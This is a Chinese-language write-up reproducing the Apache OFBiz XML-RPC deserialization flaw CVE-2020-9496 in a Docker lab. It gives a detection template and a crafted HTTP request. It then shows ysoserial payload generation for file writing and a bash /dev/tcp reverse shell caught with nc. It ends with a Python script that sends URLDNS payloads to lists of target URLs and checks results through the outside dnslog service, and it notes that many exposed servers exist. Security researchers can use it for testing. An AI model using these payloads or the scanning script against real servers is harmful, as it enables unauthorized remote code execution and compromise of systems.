Apache Ofbiz XML-RPC反序列化漏洞(CVE-2020-9496)
Apache Ofbiz介绍
OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
漏洞概述
Apache ofbiz 存在反序列化漏洞,攻击者 通过 访问未授权接口,构造特定的xmlrpc http请求,可以造成远程代码执行的影响。
漏洞影响版本
ApacheOfbiz:<17.12.04
环境搭建
本次环境使用vulhub搭建
dockerpull andyjunghans/ofbiz
docker run -p 8080:8080 -p8443:8443 andyjunghans/ofbiz
访问ip:8080/webtools/control/xmlrpc即可看到入口点
漏洞复现
Poc
id: CVE-2020-9496
info:
name: Apache OFBiz XML-RPC Java Deserialization
author: dwisiswant0
severity: medium
# This temaplte detects a Java deserialization vulnerability in Apache
# OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
# versions prior to 17.12.04.
# --
# References:
# - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
requests:
- raw:
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
matchers-condition: and
matchers:
- type: word
words:
- "faultString"
- "No such service [ProjectDiscovery]"
- "methodResponse"
condition: and
part: body
- type: word
words:
- "Content-Type: text/xml"
part: header
- type: status
status:
- 200
根据这个yaml,可以了解到,当post一个xml的poc过去后,如果返回包里同时存在
faultString,No such service [ProjectDiscovery],methodResponse证明有漏洞存在。
代码执行
Burp抓包,把数据包替换成以下数据包
POST /webtools/control/xmlrpc HTTP/1.1
Host: 192.168.240.141:8443
Content-Type: application/xml
Content-Length: 4125
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">payload</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
使用使用ysoserial的CommonsBeanutils1来生成Payload在tmp目录写入文件(无回显)
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d '\n'
复制base64编码得payload,粘贴到burp数据包中base64payload的地方,点击发送,可以进docker中查看是否写入成功
进入容器查看成功写入
docker exec -it 容器id /bin/bash
反弹shell
去以下网址把反弹shellpayload进行base64编码
http://www.jackson-t.ca/runtime-exec-payloads.html
bash反弹命令:bash-i >& /dev/tcp/ip/port 0>&1
把编码后的shell在使用ysoserial工具进行一次base64编码
java -jar ysoserial.jar CommonsBeanutils1 "base64-payload" | base64 | tr -d '\n'
nc设置监听,把生成的exp放入到burp的数据包中发送,查看nc监听以返回shell
通过搜索引擎发现资产还是很多的
检测脚本
无回显通过dnslog进行检测验证
import sys
import argparse
import subprocess
import requests
from time import sleep
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+-------------------+')
print('| author:lemonlove7 |')
print('| use:python poc.py |')
print('+-------------------+')
def dnslog():
global dns_session
dns_session = requests.session()
dns = dns_session.get('http://www.dnslog.cn/getdomain.php')
return dns.text
def dnslog_res():
dns_res = dns_session.get('http://www.dnslog.cn/getrecords.php')
if dns_res.json():
return True
else:
return False
def CVE_2020_9496(target_url):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
headers = {'Content-Type': 'application/xml'}
# popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "CommonsBeanutils1", 'ping '+dnslog()], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "URLDNS", 'http://'+dnslog()], stdout=subprocess.PIPE)
data = base64.b64encode(popen.stdout.read())
post_data = f'''<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{str(data, 'utf-8')}</serializable></value></member></struct></value></param></params></methodCall>'''
if target_url.startswith('https://'):
vuln_url = target_url + "/webtools/control/xmlrpc"
else:
vuln_url = 'https://' + target_url + "/webtools/control/xmlrpc"
try:
r = requests.post(vuln_url, data=post_data, headers=headers, verify=False, timeout=5)
if r.status_code == 200:
sleep(2)
if dnslog_res():
print(f'[+] {target_url} dnslog验证成功,漏洞存在')
return True
else:
print(f'[x] {target_url} 利用失败')
except Exception:
print(f"[x] {target_url} poc请求失败 ")
if __name__ == '__main__':
if len(sys.argv) == 1:
title()
sys.exit()
parser = argparse.ArgumentParser(description='''CVE-2020-9496 help''')
parser.add_argument('-u', '--url', help='请输入url', default='')
parser.add_argument('-f', '--file', help='请输入file', default='')
args = parser.parse_args()
url = args.url
file = args.file
if url != '':
target_url=url
if target_url:
CVE_2020_9496(target_url)
if file !='':
f = open(file,'r')
for i in f.readlines():
url=i.strip()
if url:
CVE_2020_9496(url)